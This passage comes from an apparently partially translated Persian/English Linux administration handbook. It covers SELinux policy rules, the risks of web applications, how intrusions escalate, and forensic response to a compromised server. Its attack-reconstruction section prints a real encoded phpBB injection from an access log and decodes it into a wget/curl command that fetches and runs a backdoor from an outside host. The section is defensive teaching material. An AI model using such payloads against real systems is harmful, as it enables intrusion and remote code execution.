مجوزها مجموعه‌ای از عملیات مجاز هستند که از قالب رو‌به‌رو تبعیت می‌کنند: { operation1 operation2 }. اگرچه، می‌توانید از ماکروها برای نمایش کاربردی‌ترین مجوزها نیز استفاده کنید. فایل /usr/share/selinux/devel/include/support/obj_perm_sets.spt فهرستی از آن‌ها را شامل می‌شود.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

→ https://selinuxproject.org/page/ObjectClassesPerms

اکنون باید حداقل مجموعه قوانین مورد نیاز برای اجرای صحیح برنامه یا سرویس هدف را پیدا کنید. برای دستیابی به این منظور، باید دانش خوبی از چگونگی کارکرد برنامه و انواع داده‌های مدیریتی/تولیدی آن را داشته باشید.

اگرچه، رویکرد تجربی نیز ممکن است. زمانی که اشیای مربوطه برچسب‌گذاری شده‌اند، می‌توانید از برنامه در حالت permissive استفاده کنید: عملیاتی که ممنوع باشند ثبت گزارش شده ولی هنوز اجرا می‌شوند. با بررسی و تحلیل این گزارش‌ها می‌توانید عملیات مجاز را تشخیص دهید. در اینجا نمونه‌ای از چنین فایل گزارشی آورده شده است:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

برای درک بهتر این پیام بیایید آن را قطعه به قطعه مطالعه کنیم.

جدول 14.1. بررسی و تحلیل گزارش SELinux

پیام | توضیحات
avc: denied | عملیات غیرمجاز است.
{ read write } | این عملیات نیازمند مجوزهای read و write است.
pid=1876 | فرآیندی با شناسه ۱۸۷۶ اقدام به اجرای عملیات کرده است.
comm="syslogd" | فرآیند یک نمونه از برنامه syslogd بوده است.
name="xconsole" | شی هدف xconsole نام دارد. بعضی وقت‌ها می‌توانید یک متغیر “path” داشته باشید - همراه با مسیر کامل-.
dev=tmpfs | The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).
ino=5510 | شی با inode ۵۵۱۰ شناسایی شده است.
scontext=system_u:system_r:syslogd_t:s0 | این همان زمینه امنیتی فرآیندی است که عملیات را اجرا کرده است.
tcontext=system_u:object_r:device_t:s0 | این همان زمینه امنیتی شی هدف می‌باشد.
tclass=fifo_file | شی هدف یک فایل FIFO است.

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

تکمیلی عدم وجود نقش‌ها در قوانین خط مشی

ممکن است عجیب بنظر آید که در زمان ایجاد قوانین، هیچ نقشی در آن‌ها وجود ندارد. SELinux تنها از دامنه‌ها به منظور یافتن عملیات مجاز استفاده می‌کند. نقش تنها به صورت غیرمستقیم در تعویض کاربر به یک دامنه دیگر دخالت دارد. SELinux مبتنی بر نظریه‌ای بنام Type Enforcement است که نوع تنها عنصری است که برای صدور دسترسی‌ها استفاده می‌شود.

14.5.4.4. کامپایل‌کردن فایل‌ها

Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files.

14.6. سایر ملاحظات مرتبط با امنیت

امنیت تنها یک مشکل فنی نیست؛ بیش از هر چیر، درباره رویکردهای خوب و درک از خطر است. این قسمت به بررسی برخی از خطرات متداول، همراه با برخی رویکردهای خوب، که بر اساس موضوع مورد مطالعه، امنیت را افزایش داده یا احتمال بروز حمله احتمالی را کاهش می‌دهند.

14.6.1. خطرات ذاتی در برنامه‌های تحت وب

ویژگی اصلی برنامه‌های تحت وب منجر به تکثیر آن‌ها می‌شود. برخی از آن‌ها اغلب به صورت موازی اجرا می‌شوند: ایمیل تحت وب، ویکی، برخی نرم‌افزارهای گروهی، انجمن‌ها، نگارخانه‌ای از تصاویر، وبلاگ و از این قبیل. بسیاری از این برنامه‌ها مبتنی بر پشته “LAMP” یا Linux, Apache, MySQL, PHP هستند. متاسفانه، بسیاری از این برنامه‌ها بدون در نظر گرفتن اصول امنیتی نوشته شده‌اند. داده‌ای که از خارج برنامه وارد می‌شود، اغلب بدون کوچکترین بررسی ذخیره‌سازی می‌گردد. فراهم کردن مقادیر ویژه می‌تواند به منظور خراب کردن برخی دستورات قابل اجرا بکار رود. بسیاری از مشکلات مشخص در گذر زمان برطرف شده‌اند، اما مشکلات جدید امنیتی به صورت روزانه بوجود می‌آیند.

واژگان SQL injection

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

از این رو بروزرسانی برنامه‌های تحت وب یک ضرورت به حساب می‌آید، تا مبادا یک خرابکار (خواه یک مهاجم حرفه‌ای یا یک script kiddy) بتواند از آسیب‌پذیری‌های موجود سواستفاده کند. خطر واقعی مبتنی بر این مورد است و طیف گسترده‌ای از تخریب داده تا اجرای کد مخرب را شامل می‌شود، از جمله خارج کردن وبسایت از دسترس.

14.6.2. انتظار چه چیزی را داشته باشیم

یک آسیب‌پذیری در برنامه تحت وب اغلب به عنوان نقطه آغازی برای تلاش‌های خرابکارانه استفاده می‌شود. آنچه در ادامه می‌آید خلاصه‌ای از عواقب احتمالی آن است.

نگاه سریع فیلترکردن پرس و جوهای HTTP

Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.

انجام این بررسی‌ها می‌تواند کار زمان‌بر و خسته کننده‌ای باشد، اما می‌تواند در زمان توسعه برنامه تحت وب در صورتی که امنیت مد نظر قرار گیرد بکار رود.

mod-security2 (در بسته libapache2-mod-security2) نمونه اصلی چنین ماژولی است. حتی شامل برخی قواعد از پیش موجود خود می‌باشد (در بسته modsecurity-crs) که براحتی می‌توانید فعال‌سازی کنید.

عواقب یک نفوذ سطوح مختلفی از مشاهدات درباره انگیزه مهاجم اصلی را شامل می‌شود. Script-kiddie تنها از دستورالعمل‌های موجود در وبسایت‌ها استفاده می‌کند؛ اغلب یا وبسایت را از دسترس خارج یا داده‌ها را تخریب می‌کنند. در موارد نامحسوس دیگر، آن‌ها اقدام به افزودن محتوای نامرئی در صفحات وب می‌کنند تا از طریق موتورهای جستجو بازدید بیشتری از سایت خود دریافت کنند.

یک مهاجم حرفه‌ای تر فراتر از این می‌رود. یک سناریو بحران می‌تواند در چنین موردی بکار رود: مهاجم توانایی اجرای دستورات به عنوان کاربر www-data را بدست می‌آورد، اما اجرای یک دستور نیازمند بسیاری تغییرات دیگر است. برای اینکه کار خود را راحت کنند، اقدام به نصب برنامه‌‌های تحت وب دیگری می‌نمایند تا چنین دستوراتی را از راه‌دور اجرا کنند، از جمله مرور فایل سیستم، بررسی مجوزها، آپلود یا دانلود فایل‌ها، اجرای دستورات و حتی فراهم آوردن یک پوسته در شبکه. اغلب، آسیب‌پذیری امکان اجرای دستور wget را برای دانلود برخی بدافزارها درون مسیر /tmp/ فراهم می‌کند که پس از آن اجرا می‌شوند. بدافزار اغلب از یک وبسایت خارجی دانلود شده که قبل از این مورد نفوذ قرار گرفته است، به این منظور که رد پای مهاجم را پوشانده و یافتن نقطه شروع حمله را دشوار سازد.

در این نقطه، مهاجم به اندازه‌ای آزادی دارد که می‌تواند یک bot از نوع IRC را نصب کند (یک ربات که به یک سرور IRC متصل شده و از طریق آن کنترل می‌شود). از این ربات اغلب برای اشتراک‌گذاری فایل‌های غیرقانونی استفاده می‌شد (نسخه‌های غیرمجاز از فیلم، نرم‌افزار و از این قبیل). یک مهاجم قاطع شاید بخواهد بیشتر از این پیشروی کند. حساب کاربری www-data امکان دسترسی کامل را به کل ماشین فراهم نمی‌کند، از این رو مهاجم تلاش می‌کند دسترسی سطح بالاتری را در اختیار بگیرد. اکنون، اینکار نباید ممکن باشد، اما اگر برنامه تحت وب بروز نباشد، احتمال اینکه کرنل و سایر برنامه‌ها نیز قدیمی باشند وجود دارد؛ اینکار اغلب از تصمیم مدیر سیستم می‌آید، که با وجود آگاهی از آسیب‌پذیری، از بروزرسانی سیستم خودداری می‌کنند با این بهانه که هیچ کاربر محلی برای آن وجود ندارد. از این رو مهاجم با توجه به این آسیب‌پذیری دوم می‌تواند دسترسی کامل به سیستم را اخذ نماید.

واژگان Privilege Escalation

این عبارت شامل مواردی است که از طریق آن می‌توان مجوزهای بیشتر از آنچه مورد نیاز است را بدست آورد. برنامه sudo طوری طراحی شده است که برخی دسترسی‌های مدیریتی به صورت موقت به کاربران داده شود. اما از این عبارت برای تلاش یک نفوذگر در سواستفاده از یک آسیب‌پذیری برای دسترسی بیشتر به مجوزها استفاده می‌شود.

اکنون مهاجم کنترل ماشین را در دست گرفته است؛ آن‌ها معمولا تلاش می‌کنند تا این دسترسی را تا آنجا که ممکن است حفظ نمایند. اینکار شامل نصب یک rootkit می‌شود، برنامه‌ای که با جایگزین کردن برخی اجزای سیستم امکان اتصال مجدد مهاجم به آن را در زمان دیگری فراهم می‌نماید؛ rootkit همچنین تلاش می‌کند رد خود را پوشانده و اثری از خود بر جای نگذارد. یک برنامه ps دستکاری شده از نمایش برخی فرآیندها چشم‌پوشی، netstat برخی ارتباطات فعال را فهرست نمی‌کند و از این قبیل. با استفاده از مجوزهای root، مهاجم می‌توانست دید کلی نسبت به سیستم داشته باشد، اما نمی‌توانست داده‌های مهم را پیدا کند؛ بنابراین تلاش می‌کنند تا به سایر ماشین‌های شبکه داخلی دسترسی یابند. با بررسی و تحلیل حساب کاربری مدیریت و فایل‌های تاریخچه آن، مهاجم در می‌یابد که به کدام ماشین‌ها دسترسی داده شده است. با جایگزین کردن sudo و ssh با برنامه‌های دستکاری شده، مهاجم می‌تواند برخی از گذرواژه‌های مدیر سیستم را رهگیری کند که آن‌ها در سرورهای شناسایی شده استفاده می‌کنند... و عملیات نفوذ می‌تواند از این نقطه رواج یابد.

این یک سناریوی کابوس‌بار است که می‌تواند با برخی اقدامات پیشگیری شود. قسمت‌های بعدی برخی از این اقدامات را توضیح می‌دهند.

14.6.3. انتخاب آگاهانه نرم‌افزار

زمانی که مشکلات امنیتی احتمالی شناسایی شدند، در هر گام از این فرآیند توسعه سرویس باید مد نظر قرار گرفته شوند، به خصوص در زمان نصب نرم‌افزار مورد نیاز. بسیاری وبسایت‌ها از جمله SecurityFocus.com، فهرستی از آسیب‌پذیری‌های اخیر را نگهداری کرده که می‌تواند قبل از استفاده هر نرم‌افزار دیگری مورد بررسی و تحلیل قرار گیرند. البته، این اطلاعات باید در مقایسه با نرم‌افزار پیش گفته مقایسه شوند: یک برنامه پرکاربردتر به عنوان یک هدف وسوسه برانگیز به حساب می‌آید و عواقب بیشتری نیز با خود در پی دارد. از طرف دیگر، یک برنامه ممکن است شامل حفره‌های امنیتی باشد که هیچگاه به صورت عمومی بنا به دلایل مختلف در یک بازرسی امنیتی مطرح نشده‌اند.

واژگان بازرسی امنیتی

یک بازرسی امنیتی فرآیندی است که در آن به دقت سورس کد یک برنامه به منظور آسیب‌پذیری‌های امنیتی مورد بررسی و تحلیل قرار می‌گیرد. چنین بازرسی‌هایی معمولا به صورت فعال و به منظور اطمینان حاصل کردن از پیشنیازهای امنیتی یک برنامه انجام می‌شوند.

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

واژگان Zero-Day Exploit

پیشگیری از یک حمله zero-day exploit بسیار دشوار است؛ از این عبارت برای اشاره به آسیب‌پذیری استفاده می‌شود که هم اکنون برای توسعه‌‌دهندگان اصلی برنامه شناخته شده نیست.

14.6.4. مدیریت یک ماشین به صورت کلی

اکثر توزیع‌های لینوکس به صورت پیشفرض چندین سرویس یونیکس و ابزارهای مرتبط با آن را نصب می‌کنند. در بسیاری از موارد، این سرویس‌ها و ابزارها با هدف اولیه مدیر سیستم از برپایی ماشین همخوانی ندارند. به عنوان یک توصیه عمومی در بحث امنیت، بهتر است که نرم‌افزارهای اضافی را حذف کرد. در حقیقت، در صورت وجود آسیب‌پذیری در یک سرویس غیرکاربری دیگر که می‌تواند به منظور دسترسی به کل سیستم استفاده شود، دلیلی برای ایمن‌سازی سرور FTP وجود ندارد.

به همین دلیل، فایروال اغب طوری پیکربندی می‌شود که تنها به سرویس‌های عمومی اجازه ارسال ترافیک داده شود.

رایانه‌های امروزی به اندازه‌ای قدرتمند هستند که اجازه میزبانی از چندین سرویس روی یک ماشین فیزیکی را فراهم می‌کنند. از نقطه نظر اقتصادی نیز چنین امکانی جالب است: تنها یک رایانه برای مدیریت، مصرف پایین انرژی و از این قبیل. از نقطه نظر امنیتی، اگرچه چنین انتخابی می‌تواند مشکل آفرین باشد. یک سرویس نفوذپذیر می‌تواند امنیت کل ماشین را به خطر اندازد، که منجر به نفوذپذیری سایر سرویس‌های میزبانی شده روی ماشین می‌گردد. این خطر می‌تواند با ایزوله‌کردن سرویس‌ها کاهش یابد. اینکار می‌تواند با استفاده از مجازی‌سازی (میزبانی از هر سرویس درون یک ماشین مجازی یا نگهدارنده) یا ترکیب AppArmor/SELinux (هر فرآیند پس‌زمینه از سرویس به صورت مجموعه‌ای جداگانه از مجوزها) انجام شود.

14.6.5. کاربران به عنوان بازیکنان اصلی

بحث و گفتگو درباره امنیت این ایده را متصور می‌شود که باید در مقابل خرابکاران ناشناس که در اینترنت پراکنده شده‌اند، محافظت بعمل آورد؛ اما حقیقتی که کمتر به آن توجه می‌شود خطراتی است که از داخل مجموعه نشات می‌گیرند: یک کارمند که در آستانه خروج از شرکت قرار دارد می‌تواند با دانلود پروژه‌های حساس آن‌ها را به رقیبان شرکت بفروشد، یک مدیر فروش بی‌توجه می‌تواند میزکار خود را در یک جلسه با افراد خارج از شرکت باز نگه دارد، یک کاربر دست و پا چلفتی می‌تواند به اشتباه یک دایرکتوری از فایل‌ها را پاک کند و مواردی از این قبیل.

پاسخ به این خطرات می‌تواند شامل راهکارهای فنی باشد: به هیچ کاربری نباید بیش از اندازه نیازش مجوز دسترسی داد و نگهداری از فایل‌های پشتیبان یک ضرورت به حساب می‌آیند. اما در بسیاری موارد، محافظت در برار این خطرات با آموزش کاربران صورت می‌گیرد.

نگاه سریع autolog

بسته autolog شامل برنامه‌ای است که ارتباط کاربران غیرفعال را پس از یک بازه مشخص شده قطع می‌کند. همچنین می‌تواند فرآیندهای کاربر را پس از اتمام زمان کاری ایشان از بین ببرد، که اینکار از اجرای فرآیندهای پس‌زمینه کاربران پیشگیری می‌کند.

14.6.6. امنیت فیزیکی

اگر از خود رایانه‌ها به صورت فیزیکی محافظت نگردد، دلیلی برای ایمن‌سازی سرویس‌ها و شبکه‌ها وجود ندارد. داده‌های مهم سزاوار این هستند که در هارد دیسک‌های how-swappable و به صورت آرایه‌های RAID ذخیره‌سازی شوند، چرا که هارد دیسک‌های معمولی در گذر زمان معبوب شده و موجودیت داده امری بسیار حیاتی است. اما اگر قرار باشد هر فردی بتواند وارد ساختمان شده، به اتاق سرور برود و با چندین هارد دیسک خارج گردد، قسمت مهمی از امنیت برقرار نشده است. چه کسی می‌تواند وارد اتاق سرور شود؟ آیا این دسترسی مانیتور می‌شود؟ زمانی که امنیت فیزیکی مورد بررسی و تحلیل قرار می‌گیرد، این پرسش‌ها باید مطرح شده و پاسخ داده شوند.

امنیت فیزیکی همچنین شامل در نظر گرفتن خطراتی از قبیل آتش‌سوزی نیز می‌باشد. این خطر مشخص لزوم نگهداری رسانه پشتیبان در یک ساختمان دیگر را نشان می‌دهد، یا حداقل در یک صندوقچه ضد-آتش.

14.6.7. مسئولیت قانونی

یک مدیر سیستم، کم و بیش، مورد اعتماد کاربران سیستم و کاربران شبکه به صورت عمومی‌تر قرار می‌گیرد. آن‌ها باید از هرگونه غفلت که ممکن است افراد بدخواه مورد استفاده قرار دهند، پیشگیری کنند.

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

زمانی که این اتفاقات می‌افتد، بی‌گناه جلوه دادن خود کافی نیست؛ حداقل باید ثابت کنید که مجموعه فعالیت‌های مشکوکی از یک نشانی IP دیگر در سیستم شما انجام می‌شده است. اگر از توصیه‌های مطرح شده در این فصل چشم‌پوشی کرده باشید و به مهاجم اجازه ورود به سیستم و دسترسی به حساب کاربری مدیر (root در این مورد) را بدهید تا بتواند ردپای خود را بپوشاند، اینکار دیگر لزومی ندارد.

14.7. مواجهه با یک ماشین نفوذپذیر

برخلاف طراحی خوب یک خط مشی امنیتی، یک مدیر سیستم معمولا با یک عمل hijacking مواجه می‌شود. این قسمت به بررسی مواردی می‌پردازد که در مواجهه با چنین شرایط نامطلوبی باید مد نظر قرار گرفته شوند.

14.7.1. شناسایی و مشاهده نفوذ خرابکار

اولین گام در مواجهه با یک نفوذ، شناسایی چنین اقدامی است. اینکار به راحتی صورت نمی‌پذیرد، به خصوص اگر زیرساخت مناسب مانیتورینگ موجود نباشد.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

برنامه‌ای که در /var/tmp/ نصب شده و به عنوان سرور وب کار می‌کند؟ بدون شک، ماشین مورد نفوذ قرار گرفته است.

این تنها یک مثال بود، اما شواهد بسیاری وجود دارد که می‌تواند برای مدیر سیستم هشدار دهنده باشد:

یک گزینه برای دستوری که هم اکنون کار نمی‌کند؛ نسخه نرم‌افزاری که دستور ادعای آن را می‌کند با نسخه‌ای که از dpkg پرس و جو شده است سازگاری ندارد؛

یک خط فرمان یا پیام خوش‌آمدگویی که بیان می‌کند آخرین ارتباط برقرار شده از یک قاره دیگر بوده است؛

خطاهایی که از پر شدن پارتیشن /tmp/ به دلیل وجود نسخه‌های غیرقانونی از فیلم‌های مختلف تولید شده است؛

و از این قبیل.

14.7.2. خاموش کردن سرور

در اکثر موارد، مهاجم از طریق یک شبکه به ماشین نفوذ کرده است و برای ادامه نفوذ خود به یک شبکه فعال نیاز دارد (به منظور دسترسی به داده‌های محرمانه، اشتراک‌گذاری فایل‌های غیرقانونی، پنهان‌سازی هویت خود با تبدیل ماشین به یک relay و از این قبیل). قطع ارتباط فیزیکی رایانه با شبکه از دسترسی بیشتر مهاجم به سیستم‌های هدف پیشگیری می‌کند، اگر تاکنون به این مهم دست نیافته باشد.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see قسمت 14.7.3, “نگهداری هر آنچه که می‌تواند به عنوان مدرک استفاده شود” , قسمت 14.7.5, “بررسی و تحلیل قضایی” and قسمت 14.7.6, “بازسازی سناریوی حمله” ), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. نگهداری هر آنچه که می‌تواند به عنوان مدرک استفاده شود

درک حمله و/یا اقدامات قانونی مقابل مهاجمین نیازمند نسخه‌برداری از مهم‌ترین عناصر حمله می‌باشد؛ این فهرست شامل محتوای هارد دیسک، فهرستی از تمام فرآیندهای اجرایی و فهرستی از تمام ارتباطات باز می‌باشد. از محتوای موجود در RAM نیز می‌توان استفاده کرد ولی به ندرت در دنیای واقعی کاربرد دارد.

در زمان وقوع حادثه، مدیر سیستم‌ها اغلب وسوسه می‌شند که بررسی‌های بسیاری را روی ماشین نفوذی انجام دهند؛ اینکار معمولا ایده خوبی نیست. هر دستوری که اجرا می‌شود به احتمال زیاد دستکاری شده است و ممکن است بخشی از شواهد را از بین ببرد. این بررسی‌ها باید محدود به مجموعه کوچکی شوند (netstat -tupan برای ارتباطات شبکه، ps auxf برای فهرستی از فرآیندها و ls -alR /proc/[0-9]* برای اطلاعات بیشتر در مورد برنامه‌های در حال اجرا) و هرگونه بررسی انجام شده باید یادداشت گردد.

احتیاط بررسی و تحلیل داغ

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

اگر هنوز نیاز به چنین بررسی و تحلیلی باشد، باید احتیاط کرد که تنها از برنامه‌های شناخته شده استفاده کنیم. یک روش خود استفاده از دیسک نجاتی است که شامل برنامه‌های تر و تازه باشد، یا یک اشتراک شبکه فقط خواندنی. با این حال، حتی این اقدامات نیز در صورت نفوذ به کرنل بی‌فایده خواهند بود.

زمانی که این عنصرهای ... ذخیره‌سازی شوند، گام بعدی ذخیره‌سازی یک تصویر کامل از هارد-دیسک است. ایجاد چنین تصویری در صورت تغییر اندازه فایل سیستم غیرممکن است، به همین دلیل است که ابتدا باید به صورت فقط-خواندنی متصل گردد. ساده‌ترین راهکار توقف اجباری سرور (پس از اجرای sync) و اجرای مجدد آن روی یک دیسک نجات است. هر پارتیشن باید با ابزاری مانند dd رونوشت گرفته شود؛ این تصاویر می‌توانند به سرور دیگری فرستاده شوند (احتمالا با ابزار nc). احتمال دیگر حتی از این نیز ساده‌تر است: تنها کافی است دیسک را از ماشین خارج کرده و با یک دیسک جدید جایگزین کنیم تا بتوان عملیات فرمت‌دهی و نصب مجدد را انجام داد.

14.7.4. نصب مجدد

قبل از اجرای نصب مجدد، سرور نباید به حالت آنلاین بازگردد. اگر نفوذ در بالاترین سطح اتفاق افتاده باشد (یعنی تمام دسترسی‌های مدیریتی) تقریبا هیچ راهی وجود ندارد تا اطمینان یابیم مهاجم چه ابزارهایی را در سرور باقی گذاشته است (به طور مشخص backdoor). البته، تمام بروزرسانی‌های امنیتی اخیر نیز به منظور مقابله با آسیب‌پذیری که مهاجم از آن سواستفاده کرده است باید انجام شوند. ایده‌آل است که بررسی و تحلیل حمله به این عامل مهم توجه کند، تا بتوان آن را در ادامه برطرف نمود؛ در غیر اینصورت، باید امیدوار باشیم که این آسیب‌پذیری یکی از همان مواردی بوده است که توسط بروزرسانی امنیتی برطرف شده است.

نصب مجدد یک سرور راه‌دور همیشه آسان نیست؛ ممکن است به کمک شرکت میزبانی احتیاج باشد، زیرا همه این شرکت‌ها دارای سیستم‌های نصب مجدد خودکار نیستند. باید احتیاط کرد که از فایل‌های پشتیبان تهیه شده پس از نفوذ برای بازیابی ماشین استفاده نشود. ایده‌آل است که تنها داده‌ها را بازیابی کنیم و تمام نرم‌افزارهای کاربردی از نو نصب شوند.

14.7.5. بررسی و تحلیل قضایی

اکنون که سرویس‌ها به حالت قبلی خود بازگشته‌اند، زمان آن فرا رسیده است که نگاهی عمیق‌تر به تصاویر ذخیره شده از دیسک‌های مورد نفوذ قرار گرفته شده بیندازیم تا عامل حمله را بهتر درک کنیم. زمانی که قصد استفاده از این تصاویر را داریم، باید احتیاط کرد که تنها از گزینه‌های ro,nodev,noexec,noatime به منظور پیشگیری از دستکاری محتوای دیسک (از جمله زمان دسترسی به فایل‌ها) یا اجرایی اشتباهی برنامه‌ها استفاده کنیم.

پیگیری یک سناریوی حمله معمولا شامل جستجو برای هر آنچه تغییر یافته یا اجرا شده است می‌باشد:

فایل‌های .bash_history اغلب اطلاعات مفیدی را فراهم می‌کنند؛

به همین صورت فهرست فایل‌هایی که اخیرا ایجاد، تغییر یا دسترسی یافته‌اند؛

دستور strings، با استخراج رشته‌های متنی از یک فایل باینری، به شناسایی برنامه‌های نصب شده توسط مهاجم کمک می‌کند؛

فایل‌های گزارش موجود در /var/log/ اغلب ساختار زمانی و ترتیب اجرای وقایع را شرح می‌دهند؛

ابزارهای خاص-منظوره همچنین امکان بازیابی محتوای فایل‌های حذف شده را فراهم می‌کنند، از جمله فایل‌های گزارشی که مهاجم آن‌ها را پاک کرده است.

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see قسمت A.8, “کالی لینوکس” ), with its forensic mode, BlackArchLinux[7] and the commercial Grml-Forensic, based on Grml (see قسمت A.6, “Grml” ).

14.7.6. بازسازی سناریوی حمله

تمام عنصرهای جمع‌آوری شده حین بررسی و تحلیل باید به صورت قطعه‌های یک پازل کنار یکدیگر قرار گیرند؛ ایجاد اولین فایل‌ها مشکوک اغلب مرتبط با گزارش‌های مربوط به نفوذ می‌باشد. یک مثال واقعی می‌تواند منظور را بهتر از مفاهیم نظری طولانی منتقل کند.

گزارش پیش رو از یک فایل access.log آپاچی استخراج شده است:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ http://secunia.com/advisories/13239/

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

رمزگشایی این نشانی طولانی باعث می‌شود درک بهتری از قصد مهاجم از اجرای کد PHP را داشته باشیم که برابر است با: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). در حقیقت، یک فایل bd در /tmp/ پیدا شده است. اجرای strings /mnt/tmp/bd در میان سایر رشته‌ها عبارت PsychoPhobia Backdoor is starting... را باز می‌گرداند. این ابزار شباهت زیادی به یک backdoor دارد.

در زمان دیگری، از این دسترسی به منظور دانلود، نصب و اجرای یک bot از نوع IRC که به یک شبکه زیرزمینی متصل شده بود، استفاده می‌شد. این ربات از طریق این پروتکل قابل کنترل بود که باعث می‌شد بتواند فایل‌های گوناگونی را به منظور اشتراک‌گذاری دانلود کند. این برنامه حتی فایل گزارش مخصوص به خود را دارد:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

